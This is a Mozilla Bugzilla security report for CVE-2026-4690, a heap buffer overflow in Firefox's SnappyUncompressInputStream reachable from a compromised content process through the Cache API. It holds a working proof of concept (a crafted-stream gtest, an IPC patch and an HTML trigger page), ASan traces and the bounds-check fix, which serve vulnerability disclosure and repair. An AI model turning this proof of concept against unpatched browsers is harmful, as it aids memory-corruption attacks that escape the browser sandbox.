Closed Bug 2016375 (CVE-2026-4690) Opened 9 months ago Closed 9 months ago

SnappyUncompressInputStream Oversized Chunk Heap Buffer Overflow

Categories

(Core :: XPCOM, defect)

defect

Tracking

()

RESOLVED FIXED
150 Branch
Tracking Status
firefox-esr115 149+ fixed
firefox-esr140 149+ fixed
firefox147 --- wontfix
firefox148 --- wontfix
firefox149 + fixed
firefox150 + fixed

People

(Reporter: prodigysml555, Assigned: nika)

References

Details

(6 keywords, Whiteboard: [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+])

Attachments

(5 external files, 1 obsolete file)

Compromised content process -> parent process via Cache API (CacheReadStream).

SnappyUncompressInputStream::ParseNextChunk (SnappyUncompressInputStream.cpp:289-304) reads mNextChunkDataLength from a 24-bit snappy frame header field (up to ~16MB) and passes it to ReadAll(mCompressedBuffer.get(), readLength, ...). The buffer is fixed at ~76KB (CompressedBufferLength()). The only guard is MOZ_ASSERT(readLength <= CompressedBufferLength()) at line 290, compiled out in release. A crafted snappy stream with chunk length 200000 writes 123502 bytes past the buffer.

The Bug

SnappyUncompressInputStream.cpp:289-304:

uint32_t readLength = mNextChunkDataLength;
MOZ_ASSERT(readLength <= CompressedBufferLength());  // debug-only

rv = ReadAll(mCompressedBuffer.get(), readLength, mNextChunkDataLength,
             aBytesReadOut);

mCompressedBuffer allocated once at line 212-213 at CompressedBufferLength() (~76498 bytes for kBlockSize=65536). mNextChunkDataLength comes from ParseHeader (SnappyFrameUtils.cpp:147) which reads a 24-bit little-endian length from the frame header, allowing up to ~16MB.

IPC entry: CachePutAll wraps attacker streams in SnappyUncompressInputStream at ReadStream.cpp:181 when control is non-null. Consumed during body storage via CachePutAllAction (Manager.cpp:1063).

ASAN Proof

==94870==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6310000b32d2
WRITE of size 200000 at 0x6310000b32d2 thread T0
    #0 in __asan_memcpy
    #1 in NS_CopySegmentToBuffer
    #2 in nsStringInputStream::ReadSegments
    #3 in mozilla::SnappyUncompressInputStream::ReadAll
    #4 in mozilla::SnappyUncompressInputStream::ParseNextChunk

0x6310000b32d2 is located 0 bytes after 76498-byte region [0x6310000a0800,0x6310000b32d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow in NS_CopySegmentToBuffer

Note: debug builds have MOZ_ASSERT that masks the overflow. ASan output above obtained by temporarily disabling the assert to simulate release behavior.

PoC

xpcom/tests/gtest/TestSnappyStreamOverflow.cpp:

/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
/* This Source Code Form is subject to the terms of the Mozilla Public
 * License, v. 2.0. If a copy of the MPL was not distributed with this
 * file, You can obtain one at http://mozilla.org/MPL/2.0/. */

#include "gtest/gtest.h"

#include "mozilla/SnappyUncompressInputStream.h"
#include "nsCOMPtr.h"
#include "nsIInputStream.h"
#include "nsStringStream.h"

#include <cstring>

using namespace mozilla;

static nsCString BuildOversizedSnappyStream(uint32_t aChunkDataLength) {
  // Stream identifier: type=0xff, length=6 (LE), data="sNaPpY"
  const uint8_t streamId[] = {
      0xff, 0x06, 0x00, 0x00,
      0x73, 0x4e, 0x61, 0x50, 0x70, 0x59,
  };

  // Compressed data chunk header: type=0x00, length=aChunkDataLength (24-bit LE)
  uint8_t chunkHeader[4];
  chunkHeader[0] = 0x00;
  chunkHeader[1] = (aChunkDataLength >> 0) & 0xff;
  chunkHeader[2] = (aChunkDataLength >> 8) & 0xff;
  chunkHeader[3] = (aChunkDataLength >> 16) & 0xff;

  nsCString result;
  result.Append(reinterpret_cast<const char*>(streamId), sizeof(streamId));
  result.Append(reinterpret_cast<const char*>(chunkHeader), sizeof(chunkHeader));

  nsCString filler;
  filler.SetLength(aChunkDataLength);
  memset(filler.BeginWriting(), 'X', aChunkDataLength);
  result.Append(filler);

  return result;
}

TEST(SnappyStreamOverflow, OversizedChunkLengthHeapOverflow)
{
  // CompressedBufferLength() ~ 76498 bytes. Use 200000 to overflow.
  const uint32_t kOversizedLength = 200000;

  nsCString crafted = BuildOversizedSnappyStream(kOversizedLength);

  nsCOMPtr<nsIInputStream> base;
  NS_NewCStringInputStream(getter_AddRefs(base), crafted);

  RefPtr<SnappyUncompressInputStream> snappyStream =
      new SnappyUncompressInputStream(base);

  char outBuf[64];
  uint32_t bytesRead = 0;
  // ASan: heap-buffer-overflow WRITE of size 200000 into 76498-byte buffer
  nsresult rv = snappyStream->Read(outBuf, sizeof(outBuf), &bytesRead);

  (void)rv;
  (void)bytesRead;
}

Run: ./mach gtest "SnappyStreamOverflow.*"

Fix

Replace MOZ_ASSERT with an actual bounds check:

uint32_t readLength = mNextChunkDataLength;
if (readLength > CompressedBufferLength()) {
  return NS_ERROR_CORRUPTED_CONTENT;
}
Flags: sec-bounty?
Group: firefox-core-security → dom-core-security
Component: Security → XPCOM
Product: Firefox → Core

I can confirm that the gtest hits the buffer overflow as described.

Here's the IPC patch and HTML PoC for this bug.

The patch targets CacheStreamControlChild::SerializeStream in CacheStreamControlChild.cpp:75, which is the content-side function that serializes a cache body stream for IPC. When content does cache2.put(url, response) with a response obtained from cache1.match(), the ReadStream body gets re-serialized back to the parent. The patch replaces the real stream with crafted snappy frames containing a 200000-byte chunk header. The parent wraps the deserialized stream in SnappyUncompressInputStream (ReadStream.cpp:181), and ParseNextChunk reads the oversized chunk length into the fixed ~76KB mCompressedBuffer.

Note: debug builds have MOZ_ASSERT(readLength <= CompressedBufferLength()) at SnappyUncompressInputStream.cpp:290 that catches this before the overflow. You need to comment out both MOZ_ASSERTs at lines 290 and 301 to see the heap-buffer-overflow in an ASan+debug build. In release builds, these asserts are compiled out and the overflow proceeds.

IPC Patch

Apply with git apply:

diff --git a/dom/cache/CacheStreamControlChild.cpp b/dom/cache/CacheStreamControlChild.cpp
index 71ef3e0042f4..acbae00e895c 100644
--- a/dom/cache/CacheStreamControlChild.cpp
+++ b/dom/cache/CacheStreamControlChild.cpp
@@ -12,6 +12,7 @@
 #include "mozilla/ipc/IPCStreamUtils.h"
 #include "mozilla/ipc/PBackgroundChild.h"
 #include "nsISupportsImpl.h"
+#include "nsStringStream.h"

 namespace mozilla::dom::cache {

@@ -76,8 +77,32 @@ void CacheStreamControlChild::SerializeStream(CacheReadStream* aReadStreamOut,
                                               nsIInputStream* aStream) {
   NS_ASSERT_OWNINGTHREAD(CacheStreamControlChild);
   MOZ_DIAGNOSTIC_ASSERT(aReadStreamOut);
+
+  // PoC: replace the real cache body stream with crafted snappy frames.
+  // The parent wraps this in SnappyUncompressInputStream (ReadStream.cpp:181).
+  // ParseNextChunk reads the 24-bit chunk length (200000) and passes it to
+  // ReadAll into the fixed ~76KB mCompressedBuffer. Heap buffer overflow.
+  const uint32_t kOversizedLen = 200000;
+  const uint8_t streamId[] = {
+      0xff, 0x06, 0x00, 0x00,
+      0x73, 0x4e, 0x61, 0x50, 0x70, 0x59,
+  };
+  uint8_t chunkHdr[4] = {
+      0x00,
+      static_cast<uint8_t>((kOversizedLen >> 0) & 0xff),
+      static_cast<uint8_t>((kOversizedLen >> 8) & 0xff),
+      static_cast<uint8_t>((kOversizedLen >> 16) & 0xff),
+  };
+  nsCString data;
+  data.Append(reinterpret_cast<const char*>(streamId), sizeof(streamId));
+  data.Append(reinterpret_cast<const char*>(chunkHdr), sizeof(chunkHdr));
+  data.SetLength(data.Length() + kOversizedLen);
+  memset(data.BeginWriting() + 14, 'X', kOversizedLen);
+
+  nsCOMPtr<nsIInputStream> crafted;
+  NS_NewCStringInputStream(getter_AddRefs(crafted), data);
   MOZ_ALWAYS_TRUE(mozilla::ipc::SerializeIPCStream(
-      do_AddRef(aStream), aReadStreamOut->stream(), /* aAllowLazy */ false));
+      crafted.forget(), aReadStreamOut->stream(), /* aAllowLazy */ false));
 }

 void CacheStreamControlChild::OpenStream(const nsID& aId,

HTML PoC

Stores a response in one cache, matches it (gets a ReadStream with a CacheStreamControlChild actor), then puts the matched response into a second cache. The re-serialization triggers the patched SerializeStream, sending crafted snappy data to the parent. The parent wraps it in SnappyUncompressInputStream and crashes during body copy.

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>SnappyUncompressInputStream Oversized Chunk - IPC PoC</title>
</head>
<body>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
function msg(s) {
  log.textContent += s + '\n';
  console.log('[PoC] ' + s);
}

msg('SnappyUncompressInputStream Oversized Chunk Heap Overflow');
msg('Content -> Parent process via Cache API (PBackgroundCache)');
msg('');

async function run() {
  try {
    await caches.delete('poc-snappy-src');
    await caches.delete('poc-snappy-dst');

    msg('1. Storing response in source cache...');
    const cache1 = await caches.open('poc-snappy-src');
    const body = 'A'.repeat(1024);
    await cache1.put('/test', new Response(body));
    msg('   Stored 1KB response body');

    msg('2. Matching response (creates ReadStream with control actor)...');
    const response = await cache1.match('/test');
    if (!response) {
      msg('   ERROR: cache miss');
      return;
    }
    msg('   Got response with body stream');

    msg('3. Putting response into destination cache...');
    msg('   (Triggers serialization -> parent decompresses crafted stream)');
    const cache2 = await caches.open('poc-snappy-dst');
    await cache2.put('/test', response);

    msg('');
    msg('If patched: parent process hit heap-buffer-overflow WRITE');
    msg('Check ASan output for overflow in SnappyUncompressInputStream::ReadAll');

  } catch (e) {
    msg('Error: ' + e.message);
    msg('(Expected if parent crashed from overflow)');
  }
}

run();
</script>
</body>
</html>

Steps to reproduce

  1. git apply pocs/snappy_stream_overflow_ipc.patch
  2. Comment out MOZ_ASSERT(readLength <= CompressedBufferLength()) at SnappyUncompressInputStream.cpp lines 290 and 301 (these are debug-only asserts, compiled out in release)
  3. ./mach build
  4. python3 -m http.server 8766 --directory pocs/
  5. ./mach run -- http://localhost:8766/snappy_stream_overflow_ipc.html
  6. Parent process hits heap-buffer-overflow on thread pool thread during cache body copy

ASan output

==91101==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6310004d72d2 at pc 0x000104d7fa88 bp 0x00016e685840 sp 0x00016e684ff0
WRITE of size 200000 at 0x6310004d72d2 thread T37
    #0 __asan_memcpy+0x4a8
    #1 NS_CopySegmentToBuffer+0x34
    #2 nsStringInputStream::ReadSegments+0x228
    #3 mozilla::SnappyUncompressInputStream::ReadAll+0x134
    #4 mozilla::SnappyUncompressInputStream::ParseNextChunk+0x2cc
    #5 mozilla::SnappyUncompressInputStream::ReadSegments+0x120
    #6 mozilla::dom::cache::ReadStream::Inner::Read+0x74
    #7 nsStreamCopierOB::FillOutputBuffer+0x64
    #8 mozilla::SnappyCompressOutputStream::WriteSegments+0x238
    #9 nsStreamCopierOB::DoCopy+0x13c
    #10 nsAStreamCopier::Process+0x1d4
    #11 nsAStreamCopier::Run+0x20
    #12 nsThreadPool::Run+0xb90

0x6310004d72d2 is located 0 bytes after 76498-byte region [0x6310004c4800,0x6310004d72d2)
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
Attached file (secure) —
Assignee: nobody → nika
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Attached file (secure) —

Comment on attachment 9545891 [details]
(secure)

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: It is pretty obvious where the issue is based on the patch.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: Yes
  • Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: all
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: I expect the patch should apply to all impacted branches.
  • How likely is this patch to cause regressions; how much testing does it need?: There is an automated test in part 2. It's very unlikely to cause regressions.
  • Is the patch ready to land after security approval is given?: Yes
  • Is Android affected?: Yes
Attachment #9545891 - Flags: sec-approval?
Severity: -- → S1
Priority: -- → P1

Unfortunately we're in RC week and we can't grant sec-approval yet, especially given it's impossible to obfuscate the clear boundary checks in the patch. We would not normally be allowed to take it into the planned point release because it also affects ESR, but if there's an opportunity we should try to get it in before Fx149.

I'll check back on the sec-approval after merge day next week.

Whiteboard: [client-bounty-form] → [client-bounty-form][reminder-test 2026-05-05]
Severity: S1 → S2
Priority: P1 → --

Comment on attachment 9545891 [details]
(secure)

sec-approval+ to land the patch now and request uplifts. Please wait until May to land the test

Attachment #9545891 - Flags: sec-approval? → sec-approval+

firefox-beta Uplift Approval Request

  • User impact if declined: IPC bounds check violation possible by compromised content process
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: The patch is small and fairly straightforward
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9548334 - Flags: approval-mozilla-beta?

firefox-esr115 Uplift Approval Request

  • User impact if declined: IPC bounds check violation possible by compromised content process
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: The patch is small and fairly straightforward
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9548335 - Flags: approval-mozilla-esr115?

firefox-esr140 Uplift Approval Request

  • User impact if declined: IPC bounds check violation possible by compromised content process
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: The patch is small and fairly straightforward
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9548336 - Flags: approval-mozilla-esr140?

firefox-release Uplift Approval Request

  • User impact if declined: IPC bounds check violation possible by compromised content process
  • Code covered by automated testing: yes
  • Fix verified in Nightly: yes
  • Needs manual QE test: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: The patch is small and fairly straightforward
  • String changes made/needed: None
  • Is Android affected?: yes
Attachment #9548337 - Flags: approval-mozilla-release?
Attached file (secure) (obsolete) —
Pushed by nlayzell@mozilla.com: https://github.com/mozilla-firefox/firefox/commit/7f3472ccfe11 https://hg.mozilla.org/integration/autoland/rev/81e98e7843f0 Part 1: Add more validation to SnappyUncompressInputStream, r=xpcom-reviewers,emilio
Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 9 months ago
Resolution: --- → FIXED
Target Milestone: --- → 150 Branch
Attachment #9548334 - Flags: approval-mozilla-beta? → approval-mozilla-beta+

Comment on attachment 9548337 [details]
(secure)

Rejecting release uplift request. Since this affects ESR branches, it's not suitable for a dot release.

Attachment #9548337 - Flags: approval-mozilla-release? → approval-mozilla-release-
Attachment #9548337 - Attachment is obsolete: true
QA Whiteboard: [sec] [uplift] [qa-triage-done-c150/b149]
Attachment #9548335 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9548336 - Flags: approval-mozilla-esr140? → approval-mozilla-esr140+
Flags: sec-bounty? → sec-bounty+
Whiteboard: [client-bounty-form][reminder-test 2026-05-05] → [client-bounty-form][reminder-test 2026-05-05][adv-main149+][adv-ESR140.9+][adv-ESR115.34+]
Alias: CVE-2026-4690

2 months ago, dveditz placed a reminder on the bug using the whiteboard tag [reminder-test 2026-05-05] .

nika, please refer to the original comment to better understand the reason for the reminder.

Flags: needinfo?(nika)
Whiteboard: [client-bounty-form][reminder-test 2026-05-05][adv-main149+][adv-ESR140.9+][adv-ESR115.34+] → [client-bounty-form][adv-main149+][adv-ESR140.9+][adv-ESR115.34+]

Landing the test

Flags: needinfo?(nika)
See Also: → 2050152
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: